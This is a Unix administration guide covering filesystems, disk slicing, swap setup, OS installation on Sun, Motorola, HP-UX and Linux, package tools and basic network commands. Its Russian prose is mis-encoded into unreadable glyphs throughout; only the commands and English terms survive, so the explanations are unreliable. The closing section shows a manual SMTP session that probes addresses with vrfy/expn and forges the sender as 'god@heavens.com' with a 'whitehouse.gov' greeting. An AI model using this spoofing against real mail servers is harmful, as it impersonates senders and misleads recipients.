             newfs /dev/dsk/c0t0d0s7

                SUN:  䠩 ⥬.

             ufs        Unix File System
                        ᭮ ⨯ 䠩 ⥬  ⪨ ᪮
             hsfs       High Sierra, ISO 9660, Rock Rige Extension
                        䠩 ⥬  CD-ROM'
             pcfs       MS-DOS FAT  ᪥ 3"

             nfs        Network File System
                         ୠ ⥢ 䠩 ⥬
             rfs        Remote File System
                        殮 ᫥ System V -   ⥢ FS

             tmpfs       ࠭ ६  ⥬ ᯮ
                        ᢮  swap-
             lofs       Loop Back FS
                        䠪᪨ mount -F nfs localhost:/ /mnt

             procfs     Process FS - "    䠩"
             fifofs     FIFO FS
             fdfs       File Descriptors FS
             namefs

                &dDMOTOROLA: ⪠ ଠ஢ ᪠  ࠧ&d@.

             ந  Disk Slice Editorom dse.  ᪥  
         15 slice' (ࠧ).  㬥 ᫠  0  6, 
        8    f.    7  १ࢨ஢, ⮡   
        楫.

          dse   _୮_᪠       #       ਬ:
          dse /dev/rdsk/m197_c0d0s7

        DSE  ࠭ 䥩, 宦  ।஬ VI
                :

           :q!       ᥭ   ⠡ ࠧ
           :wq     ࠭   
         h,j,k,l    ६饭  ࠭ ( ᫨    -
                    ५窨)
           C       ᮧ ࠧ  ᢮ 
           dw       
           dd      㭨⮦ ࠧ
           cw       祭 

        :  ᠬ   ࠧ  稭   
        648 ( ), ᪮  ᪥    ⠢  
         ࠭ ࠧ⪨ ᪠ VTOC (Volume Table Of Contents).

                ᮧ  ࠧ      ᮧ  䠩
        ⥬.  SVR4/88 ᯮ 3 ࠧ ⨯ - ufs,  s5,  bfs.
        롨ࠩ "UFS".

                Motorola:  䠩 ⥬.

             ufs        Unix File System
                        ᭮ ⨯ 䠩 ⥬  ⪨ ᪮
             s5         System V. ५ ⨯ 䠩 ⥬, ᯮ-
                            SV 3.1.  ,
                             㦥 ଠ
             bfs        Boot File System  ⠫ /stand
                        㦥 "祭 " 䠩 ⥬.  
                         䠩 砫쭮 㧪 boot  unix
             cdfs       CD File System
                        ⠭⭠  CD ROM' ࠧ⪠ ISO 9660

             ᫥   ࠧ⪨   ᪠  dse  ⮬᪨  
         mkfs  ᥬ 室묨 ࠬࠬ -    ᮧ
          䠩  ⥬      ࠧ,  ⮬  㭪,
        ⭮騩   mkfs,  ᪮॥ ᪨ .

               쭮  dse ⮫쪮  ᠭ VTOC,  ய뢠
            fmthard. ࠬ    ,  
          ਬ  ⠫樨 ⥬.

         fmthard -S file_with_vtoc_description /dev/rmt/m187_c0d1s7

                   ஢      ᠭ 짮⥫᪨
        䥩 dse.

             ᯥ ⠡ ࠧ:

        prtvtoc /dev/rdsk/m187_c0d0s7

                &dD *  ⨯   䠩 ⥬ * &d@

                &dDMOTOROLA:  ⨯   䠩 ⥬&d@

          fstyp _᪮_ࠧ

             㥬  ⨯   ᯥ樠஢ (..  ,
         /stand,  /boot      㣨)  䠩  ⥬
        ⠭  Unix'᪨  "ufs" - Unix File System.  
        䠩 ⥬ BSD- ⨯   ᨬ᪨  ,
        묨    䠩  (  256  ), 塞 ࠧ஬
        ,  "ࠧ"  ⠡楩   inod'   (⥫   䠩
        ᯮ 㯯,  ࠢ୮ ।  )

                &dDmkfs - ᮧ  䠩 ⥬&d@.

        # ᮧ 䠩 ⥬ ⨯ s5  4- ࠧ ᪠,  ࠧ-
        # ஬ 200  !!!  㪠뢠  512- 

          mkfs -F s5   /dev/rdsk/m328_c2d0s4  400000


        # ᮧ 䠩 ⥬ ⨯ ufs   5- ࠧ ᪠

          mkfs -F ufs  -o bsize=4096,nsect=36,ntrack=9,free=1 \
          /dev/rdsk/m328_c2d0s5

                &dDHP-UX: ᮧ 䠩 ⥬&d@

         newfs -F hfs /dev/rvol12

                &dDHP-UX: JFS vs HFS&d@

        HP-UX ᯮ  ଠ 䠩 ⥬:
         HFS  (High  Perfomance)  - AKA   ufs,
           JFS (Journal) AKA Verytas vxfs

             1.   vxfs   ᯮ   䨧᪨   ୠ     
        ᪮ ⠨ଠ樨  .  ࠭ 䥪⨢
        ⠭   fs.      ࠭    
        ஢ . 祭 ⥭  먣    ᪮  "close
        file"  -  ⨥  䠩     ᨭ inod'  , 
        ⫨稥  ufs.
             2.  vxfs  㬥  ꥤ  ᫥⥫쭮 ᯮ
         䠩   - 먣  樨    ᪮
        㯠  訬 䠩.
             3.    室  vxfs 㬥 ᮧ ⥫
         inod'
             4. 㦥  vxfs     ᪥
             5. 稪   㬥  ଠ vxfs, ⮬
        ⠫ /stand 易  HFS'

         ਬ,   vxfs   ( 2-4 ࠧ) 먣
          cd /hfs  ;  time tar xf /tmp/big.tar
          cd /vxfs ;  time tar xf /tmp/big.tar

          time cat bigfile bigfile bigfile bigfile bigfile > /vxfs/big
          time cat bigfile bigfile bigfile bigfile bigfile > /hfs/big

             뢮:      vxfs ॥,  ⠫ -
         , ⮩稢   몫祭  ⠭,    ᪮쪮
         ꥤ ᪮ ࠭⢠.
             HFS        ᪨  "readonly"  ⠫,
        ਬ /usr - ᪮ ⥭ ,  hfs ⭥.

                &dD * ஢ 䠩 ⥬ * &d@.

        ⮡  ᤥ  "묨"  䠩, 騥  ᪮ ࠧ,
        Unix ᯮ    mount.  Mount  "楯"  䠩
        ⥬   饬 ॢ 䠩.  ஢ 㦭 㪠
        " ⠦" - ⠫,  ஬ "楯"  
        䠩 ⥬. ਬ:

            mount -F ufs   /dev/dsk/m197_c0d0s8    /home1

        ⮡ ᬮ,  䠩 ⥬   ᬮ஢
        믮 

            df

        ⮡  䠩 ⥬ ஢,  swap  -
        ஢  ⮬᪨      㧪,  室
        ⠢ ᮮ⢥騥  ப    䠩  /etc/vfstab . ଠ
        祪  ᬮ  ⮬  䠩.

                &dDMOTOROLA: ஢ CD-ROM&d@.

        ᫨  CDROM'  ᠭ 䠩 ⥬ ଠ "ufs" - ..
          "த",  ஫ cdrom,  ஢  㦭  
        ⥬  ࠢ,    ⪨ , ⮫쪮 "read only"

          mount -F ufs -r  /dev/dsk/m197_c0d6s0    /cdrom

        ᫨    "game'"   MSDOS,  筥, CDROM
        ⠭⭮ ଠ iso9660,  ஢   ⠪:

          mount -F cdfs -o ro  /dev/dsk/m197_c0d6s7    /cdrom

        (ᯮ짮 祩  -r   -o ro  - ࠢ筮)

                &dD⬮஢ 䠩 ⥬&d@.

          umount /home1

                &dD *  ࠬ஢ fs * &d@

        Sun:          tunefs
        Linux:        tune2fs
        HP-UX:        fsadm

                &dD * Bad- * &d@.

             ⮬  筮  ᭮稢:   প 
        㯥    (-  retrying'a),      ᮫  믫
          ᮮ饭 "Bad media", "Read failure"... " 㯥
          ⠪-".
               bad- -   "".

                &dDଥ 樮: ,   㤮-&d@

             ६  SCSI    ᠬ  bad-. ᫨
        ᥪ -, ய   (  䠩      㫨,
            ய,  ,  ᥣ  ,
            .

                &dDMotorola: Bad-&d@

               ,     㬥樥 - ࠧ "Bad
        blocks"   "Disks and Tapes Managment"

          . ⠪ man    ddefs, mvme328, scsi1x7, dinit, ...

                ᠭ ਨ ᪠  ddefs  
        㯨  㪠  ᫮  "Bad spots"  . 饭
        - 믮  ⮩   dinit

        dinit -n dskdeffilename /dev/rdsk/m187_c0d107
              -n              bad-   

        dinit -t bad-list dskdeffilename /dev/rdsk/m187_c0d107
              -t bad-list    䠩  ᯨ᪮ bad-

              ஢   -?  dinit  
              -v 1   - verify with pattern

                &dDLinux: Bad-&d@

             Linux'᪨  fsck    祬  "-c"  㬥  ᠬ 室 
          bad- ( ᮡ  ⤥ "bad"  inode)

              # -y yes   ,  -f force checking, -c bad-blocks
              e2fsck -c -y -f /dev/hda3

                &dD * ⨪ 㤮 * &d@

                &dDMOTOROLA: ⨫ ஢ 㤮 GOLD&d@.

               ஢    ⨪ 㤮 ⠭樨
        Motorola 922    ᯮ짮  ⨫⮩  gold.    
        ⥬ , 祭 宦  ⥬  ⨫ sysadm.

                &dDSUN:  ⨫ ஢ 㤮 sundiag&d@

             Sundiag   -   㭪樮쭠   ⨫   ஢
        㤮  Sun

                &dDUnix  PC&d@

               祣  ⠬  믥ਢ.  㧨    MSDOS   ⠬
          ᥬ, 祬 .
        .
                &dD뤥 ࠧ  swap&d@

               swap    ४ 뤥   
        ࠧ (।⥫쭥 ᠬ  ࢮ)      ⪮
        ᪥.

                 swap  ४ 뤥 1*RAM - 2*RAM , 
        ᫨  設 ⨢ ᯮ X-Windows,  3*RAM.

               砥 筮 室,  swap  뤥 
          䠩.    䠩  讣   ࠧ,      ⥬
           swapping. ਬ: 뤥塞 20 Mb- 䠩

          dd if=/dev/zero of=/var/swapfile bs=1k count=20480

             ⮡ swap 砫 ⮬᪨  砫쭮 㧪
          ப  /etc/fstab -   ⨯:


        # device     mountpoint  type  flags
        /dev/hdb2     none       swap   sw


                &dDMOTOROLA: swap&d@

             ᫥ 뤥 ࠧ  swap   ⨢஢:

          swap -a /dev/rdsk/m328_c2d0s0 0 0  # 砥 ࠧ

          swap -a /var/swapfile 0 40960      # 砥 䠩
          #   -   㪠뢠  512- 

                &dDLinux: swap&d@

        # ࠧ砥 ,
        # ⠭  partition ID == 82 "Linux-swap"

          fdisk /dev/hda

        # Swap-䠩  Linux __   ⠫ /dev/

          dd if=/dev/zero of=/dev/swapfile bs=1k count=40000

        # ᫥ 뤥 ࠧ  䠩  swap   ய:

          mkswap /dev/hda2 40000 ; sync # ࠧ  

          swapon /dev/hda2       # 砥 swap-ࠧ

          free                   # ᬮਬ

          swapoff /dev/swapfile  # ⪫砥 swap-䠩

         ﭭ 祭  
         /etc/fstab :

        /dev/hdb2       none  swap   sw


                &dDHP-UX 10.20: swap&d@

             誠 HP-UX     ᤥ 誠 SAM.

             䨪: swap  䠩 ⥬ 뢠 ᪨
        ᫮ "File system swap",  ࣠      ⠫,  
        墠⠥      ࠧ,       swap-䠩,  "
        ॡ", 祬    ᪥.

              HP-UX ⪫   swap-  - ⪫祭
        swap  १㧪 

        Primary-swap 㪠뢠  䨣樨 , ⠫  䠩
        /etc/fstab

          swapon                # 砥

          swapinfo              # ᬮਬ

                &dDSUN (Solaris  SunOS)&d@

           swap -l              # ⨭
           swap -s              # ⨭

           mkfile 40m swap-file # ᮧ ᢠ䠩  40 

           swap -a swap-file    #  ⨢஢ .

         ﭭ 祭  
         /etc/vfstab:

        /swap/file    -   -   swap  -   no   -
        .
                &dD⠫ 樮 ⥬&d@

                 ⠫樨  樮 ⥬  Unix-
        ᯮ 㧮 ᪥, 㧮   ,
         ⠪ CD-ROM'.
               ਡ⨢ ⥫ 㦠 쭠 
        樮 ⥬  UNIX,      ࠢ  ⮣  UNIX-
        ᪠   ணࠬ   ⠫樨,        
        ⠭  ⥫ .

                &dDMotorola 922. 㧪  ⭮ &d@

               ⠢      ਡ⨢ Unix SVR4/88. 
        ⠭. ᫥  ⮣,      ᮫쭮  ନ  
        ᮮ饭

        "Idle MPU: none"

           ""
           ᪮쪨 㭪⮢.

        롨ࠥ  "3" (System debugger) , ENTER
          ⢥    ਣ襭  197-Diag>  "bo 0 40" ENTER (0:
        㧨  0- SCSI ஫, 40 -  ⭠  ,  4-
        scsi-)   5 .

        197-Diag> bo 0 40

             Boot-prom   ࣠     ⨢    RAM-,
        뢠    ⭮  砫 8(?) Mb  -  ࠧ
        䠩   ⥬,   㦠      樮  ⥬,
         RAM    ⢥  ୥  䠩  ⥬,  
        ᪠      ணࠬ  ⠫樨,  ࠢ塞  .
          ⢥  ஥  ⢮  ᮢ,  ᫥
        祣  ணࠬ  㯨   ⠭ ⮢ Unix', 
        ࠧ饭   ᫥    ࠧ  㧮筮  RAM-᪠.
        ⢥  祭  䠩     20-40 , 
        ᨬ    ⮣,  ᪮쪮            訫
        ⠭.

               ᮬ  ⥬  ,     ନ.
        ⢥,    24 ப,        樮஢
          ⨫ vt100  unknown

           ணࠬ ⠫樨   ᭮  ०:

         1. Full install
         2. upgrade
         3. Maintance mode

                 ᢮  ᮬ  ணࠬ ⠫樨 ।
           .

        INSTALL   -   ।ᬠਢ     ⠭  樮
        ⥬.    䠩   ⥬      ᪥      
        ࠧ祭  -  , ᫥⥫쭮,  ,   ⮣
        ⢮  ᪥,  .

        UPGRADE  -  "ਭ" (ࠧ 1988   ॢ)
        ⥬   ᮢ६  ᨨ.        ⮬  
        㭨⮦. ( ᪫祭 , ⢥,  祭
         ⠭ ).      ०    ᠥ,
        ᪮        ⠪    ⥬  ⠭  ᠬ
        砫.

        MAINTANCE     MODE    -    짮⥫᪨    shell    
        㯥௮짮⥫.   ⮢        ᬮ,
        㧨    ,   ६⮬  ࠢ
        ࠢ⥩  樮 ⥬,      㤠
          ६஢, 㧨   ᪠. ( ,  ᥣ
         㤠 㧨  ᪠).
               室    maintance shell' ( Ctrl-D) 
        Ctrl-C,    ⮡    ࠭஢   १   ⠫樮
        楤.
             ᫨    ⠫      ⭮  த, 
        ਤ । ᪮ 1. Install   Maintance     
        ⠭⭮ 奬 ᤥ ᠭ ⮣ ᪠.

                &dD-88. 㧪  ⭮ .&d@

        ⠢ - Unix'.   ⠭.   ᮫쭮
        ନ  ᮮ饭:

        boot:

         "t:unix" ENTER (㧨 unix  ⭮ )

        boot: t:unix

        RAM-  Bestix'   1000  , ᫥   ᯮ
        娢 ଠ  cpio  ਡ⨢ 樮 ⥬. -
         ⢥  ᪮쪮 ᮢ,    ⥬    20,
          ᮤন  㤥 祭  .

                &dDSun SPARCstation. 㧪  CD-ROM.&d@

        ⠢  CD-ROM.    ⠭.  ,   ⠭
        "ࠧ॥".  STOP+A. (STOP -     
         ⥫쭮 ).  boot-rom prompt Ok:

         "boot cdrom". ᫨ SPARC ன  - SS1, SS1+, SS2,
        ਤ  "boot sd(0,6,2)"

        Ok boot sd(0,6,2)

        ᫨  ਣ襭  㣮 : "> " (??),   "boot"
          "b"

        > b sd(0,6,2)

        ᫥ 㧪 UNIX   "suninstall",    
        ஢ ⠫.

        # suninstall

                &dDLinux Slackware. 㧪  ᪥&d@

               Linux'    ⠫樨  㦭    㧮
        ᪥: BOOT (  㦠,     室  ),  
        ROOT   (      室  쭠  䠩  ⥬  
        ணࠬ ⠫樨).  ࠧ    ᪥    ᦠ⮬  
        ࠭    䠩 boot*/*.gz  root*/*.gz ᮮ⢥⢥. 
        㦭    䠩     ⢠  (ਬ
        boot12/net.gz     root144/color144.gz)    ⮢    
        ᪥. ணࠬ GZIP.EXE -D   GUNZIP.EXE  "ࠧ"  
        䠩,    RAWRITE.EXE  ""     ᪥.   
        ਡ⨢ Linux    DOS-樨 ⠫㥬
        設,    NFS-ࢥ,   ᪥,  CD-ROM,  ⭮
        .

        㧨    boot-᪥,    ⢥   prompt "Lilo boot:"
         ᮮ⢥騩 ࠬ   Enter,    .

        :   ᫨    設    Ethernet'  ⮩  ne2000
        "ᠥ"  ⪥ 㧨  ,    㧪  
        ⥫묨 ࠬࠬ, ਬ୮ ⠪:

          Lilo boot: ether=10,0x320,eth0

        ⠢  ROOT  ᪥,  Enter.   "Console
        login:"   root  :


         # fdisk /dev/hda
         # setup

                &dDLinux RedHat. 㧪  ᪥&d@

              Linux ᨨ RedHat  㧮筠 ᪥. 㧨 
         -      誠. ਡ⨢  
         쭮 ᪥, NFS, FTP, SMB-ࢥ.

                &dDHP-UX 10.20. 㧪  CD-ROM&d@

             墠뢠   砫   㧪  襩  ESC    
        PDC-஬   "㯠 cdrom"

        BOOT-ADMIN> search scsi

        ....
           scsi.2.0     ... CDROM ....

              뤠 뫠 "scsi ID CD"  㧨 

        BOOT-ADMIN> boot scsi.2.0

              ⢮  ⠭, ⢥  騥 
        誠 .

                &dDHP-UX 10.20. ⠫  &d@

        &dD⮢ ࢥ&d@

        1. ⠭  Install ᪠  "Network cold install utils"

        1a.  (᫨  ⠫ C-200  ) ⠭  Install
        ᪠ -patch ?????? "?Enabling network install for C-200"

        2.  䠩 /etc/instl_boottab  ᪮쪮 __ ᮢ

        3. ஢ Install CD  ॣ஢   Depot

           mount /dev/dsk/c0t2d0 /cdrom
           /usr/sbin/swreg    -l depot /cdrom

        4.    砭 ࠡ ࠧॣ஢ Depot

           /usr/sbin/swreg -u -l depot /cdrom

        &dD ⠭樨&d@

        墠 PDC-boot ஬ (ESC  Break   10 ᥪ)

        PDC> search lan install

          ⠭樨    祣  㦨,   ࠢ -
        ⮣  ⥬  

        PDC> boot lan.10.188.101.14.3.52 install

         10.188.101.14 - IP  ࢥ,
          ⠪ 3.52 -   
        .
                &dD: ⠭ ⥫쭮 &d@

                &dD *  ⠭   Solaris 2.5 * &d@

                &dD஢ ணࠬ ᯥ祭&d@


                   祭      প   
        ணࠬ  ᯥ祭.    ⮩   楫         Solaris
        ।ᬮ७  ᯥ樠  堭,  ন   
        ⨫  "pkgadd"    "pkgrm",  ᮮ⢥⢥      
        㤠         ⥬.   ⮡    ⨫  
        ஢    ⠬,         ।⠢   
        ᮮ⢥饬  ,   ଠ.  ᮦ,   
        ணࠬ  த  㯭  ।⢥      ଠ,
        ਣ    "pkgadd". 饥 設⢮ த⮢ 
        UNIX, 㯭  १  Internet,  室      室
        ⥪⮢,      ⪮஢  ᪮஢  㦭
        .   , ..  UNIX ⠭   設  
        ࠧ묨 ⨯ ஢  ࠧ筮 ⥪ன.

        Original is here

                &dD筠 ⠭&d@

                                  ⮢ ࣥ 

          ᠭ  ⮫쪮  ⠭     ᥡ (standalone
        sys⥬), ᫨  㦭 ⠭   ०
        server/dataless/diskless ⠩ 㣨  (  
        ⮫쪮  让 ᪨).


        1. ⠭ 㯥௮짮⥫
        2. :
                /usr/sbin/pkgadd -d _४ਨ___ _

            ਬ:
                /usr/sbin/pkgadd -d /cdrom/solaris_2_5/s0/Solaris_2.5 SUNWpkgA

             ⠭ ᪮쪮 ⮢ ࠧ (㪠   १ ஡).

           㧭  樨    :
                 /usr/sbin/pkginfo -d _४ਨ___

        : Solaris  祭  ᫥ ᨬ 
             ⠬, ⠪   ᠬ    浪 ⠭.
            直   ६ ⠭ (㤠
                ,    ⠭  ..), ⠪ 
               ⮢. ਬ,  ⠭ ⮬ AnswerBook 訢
               ஢  ⪨ : ᠭ   ⮬.
              ᫨   ⮫쪮 ᠭ,  室 CD-ROM 
               ⠭  ࠧ,   ᪠ AnswerBook, 
               ⮬ 㤥 祭  ""   ਤ
              ⠭. , ⮬ ࠧᠭ  7 ᪠!!!



                &dD஢ઠ ⠭ .&d@

        /usr/sbin/pkgchk <_>



                &dD祭 ଠ樨  :&d@

        /usr/bin/pkginfo -l <_>

        ਬ:
           pkginfo -l SUNWcar

           PKGINST:  SUNWcar
              NAME:  Core Architecture, (Root)
          CATEGORY:  system
              ARCH:  sparc.sun4m
           VERSION:  11.5.1,REV=94.07.15.22.10
           BASEDIR:  /
            VENDOR:  Sun Microsystems, Inc.
              DESC:  Core Architecture, (Root)
            PSTAMP:  fourstar940718191413
          INSTDATE:  Aug 16 1995 03:39
           HOTLINE:  Please contact your local service provider
            STATUS:  completely installed
             FILES:     51 installed pathnames
                        16 shared pathnames
                         7 directories
                        29 executables
                      3794 blocks used (approx)



                &dD :&d@

            /usr/sbin/pkgrm <_>



                &dD  ⠬  ᪮ 䥩&d@

         (swmtool  2.4  admintool  2.5)
          ⠭ AnswerBook   .

                               SWMTOOL

        :

        1. ⠭ 㯥௮짮⥫
        2. ३  ᪨ ०, ᫨    諨  
        3. :
           /usr/sbin/swmtool &

          ࠭   , ணࠬ - ᮡࠥ
        ଠ  㦥 ⠫஢ , ⥬  室  
        ०    ⠭    (०    INSTALL/REMOVE    ४砥
        ᮮ⢥騬 窠)  ᪮॥ ᥣ ᮮ頥  ,  
        "ன⢮    ⮢,  ⠭ (property)"  
        ⮬,  swmtool    㬮砭  ⠥,    ⠭
              CD-ROM      ⮬ 몫祭. ᫨ 
        ⢨⥫쭮 ⠪,  ⠢ CD-ROM ।  ᪮  swmtool.
            Props... (⠭),  , 
        ࠭ (⥣ਨ) Source  Media  ண      
        ன⢮  ४,   .

         ਬ,  塞  Media  Type  Mounted Directory, Directory
        Name ⠭   /cdrom/cdrom0  (⠭    CD-ROM  
        祭    ⮬)      Apply. ᫨ 
        㪠  ४ਨ  ,      ᠭ  
        ᫥          swmtool.      
        㪠뢠:  ( 騪  -  ⮩    -    ⠪
              ࠧ   ஡ ᠭ, 3
        騪 - ⠢  -  ⠪     ࠧ 
           뢠     ᯨ᮪  ७  ⮢  -  ஢
          ࠭祭), ᠭ    ।
        ࠧ.  롨ࠥ  室       
        Begin  Installation  (  ⠭).       
        ந室  / ०   ⠭ pkgadd. , 
        ⠭  讥 ⢮  祪,  襪    .:
          祬 ...

           ⮣,  ⮡  㤠  ,      Remove,
        롨ࠥ,    (),         㤠   
          Begin Removal.

                &dD⮢ ᮡ⢥ &d@

             ⮡     ஢    ࠧ஧  
        䠩, 騩 ᫥  樨,      ਢ  
        ଠ  ⨫  "pkgadd"  ᠬ⥫쭮.    ᥣ  
         ᬮ  ⭮  ਬ.        
        ,  騩   3 ணࠬ: "MyProg.bin", "Myprog.lib" 
        "MyProg.man",   ࠭    ⠫  "/usr/lo
        cal/bin",  "/usr/local/lib"   "/usr/local/man" ᮮ⢥⢥.
        ⮡ ᤥ   ,   த  ᫥騥  
        蠣:

             )    ४਩,      ࠭  室
          ⨫ "pkgmk",    ᮡ⢥  .
          襬 ਬ  㤥 ४਩ "~/tmp/MyPackage".

             )        ⥬  ४ਥ,    
        ᯮ 䠩 ,  ⥬ ᪮㥬  䠩  ᢮
        .  ..    १          䠩:

        ~/tmp/MyPackage/bin/MyProg.bin, ~/tmp/MyPackage/lib/MyProg.lib
         ~/tmp/MyPackage/man/MyProg.man

             )  ⥬   ᮧ 䠩 "pkginfo"  "prototype". 
         룫拉 ਬ୮ ⠪ (  ஡  ଠ  
          䠩   , ࠢ  "man -s4 pkgin
        fo"  "man -s4 prototype" ᮮ⢥⢥):

         "prototype":

        !PROJDIR=/usr/local
        1 i pkginfo=pkginfo
        1 d none bin 0755 root other
        1 f none bin/MyProg.bin 0644 root other
        1 d none lib 0755 poul insects
        1 f none lib/MyProg.lib 0644 root other
        1 d none man 0755 poul insects
        1 f none man/MyProg.man 0644 root other


         "pkginfo":

        PKG=MyProg
        NAME=MyPackage
        ARCH=sparc
        VERSION=Version 1.0
        CATEGORY=application
        VENDOR=Pavel K. Klodin
        EMAIL=webmaster@reksoft.ru
        PSTAMP=Pstamp
        BASEDIR=/usr/local
        CLASSES=none


             )  ᫥  ⮣,    䠩  ᤥ,  믮 ᫥騥
        :

        cd ~/tmp/MyPackage
        pkgmk -o -d /tmp -r .


             ᫥  ⮣,   ४ਨ "/tmp" 㤥 ᮧ  "My
        Package"    䠩  ४ਥ.   㦥 
        ஢  ⨫⮩  "pkgadd".  )  , , 믮
          (।⥫쭮  ⠢  㯥௮짮⥫     
         "su -"):

        cd /tmp
        pkgadd -d .


             :      ,        
        ।⠢   ࠢࠢ ଠ:

               ४ਥ ( 㦥 뫮 ᬮ७ );
              ⠪ 뢠 "⮪ ⮢" (stream packages).

               ।⠢  ᮡ  ⮩  䠩,   ᫨  뫨
        ᠭ    ਬ୮         -   㣮
        ᫥⥫쭮  ன⢥  (,  ,   ).
           ᫥ ⠪     "묨" ⠬  
            ४ਥ    䠩.    2   
        ८ࠧ  "pkgtrans".

                      ⮬   

                &dD *   Linux RedHat * &d@

        ⠢ 

            rpm -i filesystem-1.2-1.i386.rpm

         

            rpm --erase filesystem-1.2-1

        ᮪  ⮢

            rpm -qa

        ᮪ 䠩, 室  ⠭ :

            rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it

        ᮪ 䠩, 室  ⠭ :

            rpm -l   nfs-server-2.2beta16-5

                &dD *   HP-UX 10.20 * &d@

          HP-UX ⠢ १  SAM.

        ᮪  ⮢

            swlist -l product
        .
                &dD᪮쪮 ⥢  Unix&d@

                &dD1. ping&d@.   ஧ 㤠 設.

        ஢, ⪫  㪠 設  :

          ping host.name

         뢭 "஧" ( ࢠ  1 ᥪ.):

          ping -s host.name

        ࢠ  "஧"  - trl- .


                &dD2. finger&d@.  ࠡ⠥  ⥬.

        ଠ ᯮ짮:

          finger [-l]   짮⥫@⥢..

         ࠡ⠥  設   ipsun.ras.ru :

          finger @ipsun.ras.ru

          짮⥫ 誮  ⮩ 設:

          finger -l moshkow@ipsun.ras.ru

                &dD3. talk&d@.   맢 짮⥫  ࠧ

          talk  moshkow           
          talk moshkow@fedfond -  맢  㪠  짮⥫  
                                  㪠 設  ࠧ.

         ⮣ 짮⥫  ࠭  ਣ襭 :

          Message from Talk_Daemon@ipsun at 23:29 ...
          talk: connection requested by ivanov@server.fedfond.msk.su
          talk: respond with:  talk  ivanov@server.fedfond.msk.su

         ᫨   ⢥ 

          talk ivanov@server.fedfond.msk.su

          ᬮ      㣮. 砭 ࠧ -
        Ctrl-C

                &dD4. mailx&d@.  ᫠   ஭ .

        /*  Linux  ᯮ짮  mailx,    */

          mailx  username@host.name
        Subject:  쬠
         ᮮ饭
           . . .
        砭 ⥪ ᮮ饭



        ⮡   ⥪ 쬠,  ⮩ ப 
        Ctrl-D.  ⠢  "."  砫 ப   ENTER.

          ᫨ 쬮 㦥 ⮢  室   䠩  let.txt,  -
        ࠢ   ⠪:

        mailx -s "஢ઠ " semen@server.fedfond.spb.su < let.txt

                &dD5. mailx&d@.   襤    .

        mailx,  饭   㬥⮢, 室   ०
        ⥭ 㯨襩 .    ⮬  ०    짮
        ⠪ :

                ?              - 뤠 help  ᥬ 㯭 
                h 12           -  ᥬ 稭  12- 
                6              -  6- 쬮
                d              - 㭨⮦ ⥪饥 쬮
                s fajl         - ࠭ 쬮  䠩 "fajl"
                r              - ⢥  쬮

         ஥ ணࠬ mailx ᯮ 䠩 .mailrc, 
              譥  ⠫   짮⥫.      
        ⥫쭮  窨 ⠪ ਬ୮ ᮤঠ:

        ########### ⠢  ப  ᢮ 䠩   .mailrc    !!!!
        set crt=22
        set record='/home/moshkow/Mail.sended'
        ##############################################################
        # ⮡  쬠 "⠫" ࠭筮  more ;
        # ࠭    ࠢ  ᥬ
        #  䠩 /home/moshkow/Mail.sended ;

        alias max    moshkow@ipsun.ac.msk.su
        alias kafedra petrov smirnov@nic.com lapin@sovim.mit.edu

        #  ⮢  -   ᨭ   ⮢
        # ᮢ   㯯  ᮢ,    ᯮ짮    ᨭ
        #    ࠢ 

        ᫨      ᥡ 筮    ᢮
        ஭ , ⠢  䠩 /etc/aliases ਬ୮  ⠪
        窨:

        Maksim.Moshkow: moshkow
        moshkov:        moshkow

                 믮 

            newaliases

         ⥯   ࠢ 쬠  ⠪ ᠬ:

                moshkow@moshkow.ips.ras.ru
                moshkov@moshkow.ips.ras.ru
                Maksim.Moshkow@moshkow.ips.ras.ru

             ᫨     ॠᮢ뢠  襤訥  쬠
         㣮 , ᮧ 䠩 $HOME/.forward    

        @.

           , ᫨ 㦭 뫠 쬠,  ⠢ ᥡ , 

        \yourlogin, newadres@email.adres


        ᫨ ᯮ Linux,   짮 ⥬ procmail
        ⮡  쬠  ᫠   ᯨ 뫪 ᪫뢠 
        ⤥ folder,   ᢮ $HOME/.procmailrc :
        ###############################################################
        :0                           # WDL mailing list
        * ^To.*wdl.*
        folder_WDL
        ###############################################################

        ᫨  쬮  讣  ࠧ     ᠥ mailing-
        "zhurnal@sharat.co.il"   뫠   譨 email.
        $HOME/.procmailrc :
        ###############################################################
        :0 c
        * < 10000
        * !^To: .*zhurnal
        ! moshkow@moshkow.ips.ras.ru
        ###############################################################


                &dD6. telnet&d@.   㤠 設.

          telnet host.name

         telnet     㤠 設,
         ࠡ  , -  ᨤ  ନ, -
        祭 ।⢥  .

          telnet  "稩 " "Ctrl-]" ,  ॢ-
          telnet   ०.  ⮬ ०   -
         ࠡ telnet'. 室   ० - ENTER.
        ।    ⠪  "exit"  "help"

                &dD7. ftp&d@.    File Trasfer Protocol. 뫪 䠩.

         , ᫨ 㦭 "  䠩"    㦮  設  
        ᢮  (  ),  NFS    饭? ᯮ
        ணࠬ ftp.  ⥭쪠 ,   뫠
        䠩  設  ⮪ TCP/IP.

            ftp host.name

        User name (moshkow): ivanov
        Passwd:

                  設      室   -
        ஫ ( 묨  ॣ஢      設).
        ᫨      ॣ஢, ஡ 㪠 室
         "anonymous",   ⢥ ஫ - ᢮ email-.

        ᫥ ⮣ ftp 室   ०.  ⮬  ०  
         "६"  ⠫ 㤠 設,  ⠫-
         ᢮ 設, ᬠਢ  ,   䠩
        㤠  ᥡ,     ᥡ - 㤠.

        ftp> help       -  ᠬ  ᥡ
        ftp> quit       -  ࠡ
        ftp> bin        - ⠭ ० 뫪  䠩
                          (⥫쭮 ४)

        ftp> cd katalog - ६  "⠬譨" ⠫
        ftp> ls         - 뤠 "⠬譥" 

        ftp> lcd katalog - ६  "譨" ⠫
        ftp> !dir       - 뤠 "譥" 
        ftp> !ls -al    - 뤠 "譥" 

        ftp> get  file-tam  [ file-name-zdes ]  -  䠩 㤠
        ftp> put  file-zdes [ file-name-tam ]   -  䠩 㤠


                &dD ᫠ 쬮 &d@

        &dDtelnet localhost 25&d@
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        220 t30.systud.msk.su ESMTP Sendmail 8.8.5/8.8.5; Thu, 14 May 1998 18:01:21 +0400
        vrfy ryba@aquarium.ru
        expn ryba@aquarium.ru
        &dDhelo whitehouse.gov&d@
        250 t30.systud.msk.su Hello localhost [127.0.0.1], pleased to meet you
        &dDmail from: god@heavens.com&d@
        250 god@heavens.com... Sender ok
        &dDrcpt to: moshkow@ipsun.ras.ru&d@
        250 moshkow@ipsun.ras.ru... Recipient ok
        &dDdata&d@
        354 Enter mail, end with "." on a line by itself
        &dDSubject: Time to pray!

        This the time to pray caoming along!

        God

        .&d@
        250 SAA01324 Message accepted for delivery
